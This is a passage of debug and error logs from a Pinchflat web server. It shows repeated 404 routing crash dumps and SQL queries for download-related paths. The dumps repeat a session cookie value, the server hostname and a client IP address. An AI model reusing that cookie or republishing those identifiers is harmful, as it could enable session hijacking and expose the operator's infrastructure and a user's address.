{"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/media/404257/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT3HpzOF5UzkABv3k"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48306}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48306}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162969.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], pat (truncated) 17:53:42.939 [info] GET /sources/2/force_download_pending 17:53:42.940 [debug] QUERY OK source="settings" db=0.2ms idle=62.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.940 [debug] QUERY OK source="settings" db=0.1ms idle=60.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.940 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.940 [error] #PID<0.162971.0> running PinchflatWeb.Endpoint (connection #PID<0.162970.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162971.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT3JtplrtZlcABv4E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48308}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162971.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:42.945 [debug] QUERY OK source="source_metadata" db=0.8ms queue=0.1ms idle=52.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 17:53:42.945 [debug] QUERY OK source="media_metadata" db=0.1ms idle=14.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 17:53:42.947 [info] Sent 200 in 70ms 17:53:42.977 [info] GET /sources/new 17:53:42.977 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 17:53:42.978 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=46.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.978 [debug] QUERY OK source="media_profiles" db=0.1ms idle=38.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:42.979 [debug] QUERY OK source="settings" db=0.1ms idle=38.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.979 [debug] QUERY OK source="settings" db=0.1ms idle=33.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.979 [debug] QUERY OK source="settings" db=0.1ms idle=33.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.980 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.981 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.983 [info] Sent 200 in 5ms 17:53:43.025 [info] GET /sources/2/force_redownload 17:53:43.025 [debug] QUERY OK source="settings" db=0.2ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.026 [debug] QUERY OK source="settings" db=0.1ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.026 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.026 [error] #PID<0.162975.0> running PinchflatWeb.Endpoint (connection #PID<0.162974.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48332}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162975.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT3eIaJoMm0IAC4ti"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48332}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48332}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162975.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :pl (truncated) 17:53:43.036 [info] GET /sources/2/force_download_pending 17:53:43.037 [debug] QUERY OK source="settings" db=0.2ms idle=57.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.037 [debug] QUERY OK source="settings" db=0.1ms idle=57.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.037 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.038 [error] #PID<0.162977.0> running PinchflatWeb.Endpoint (connection #PID<0.162976.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48342}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162977.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, 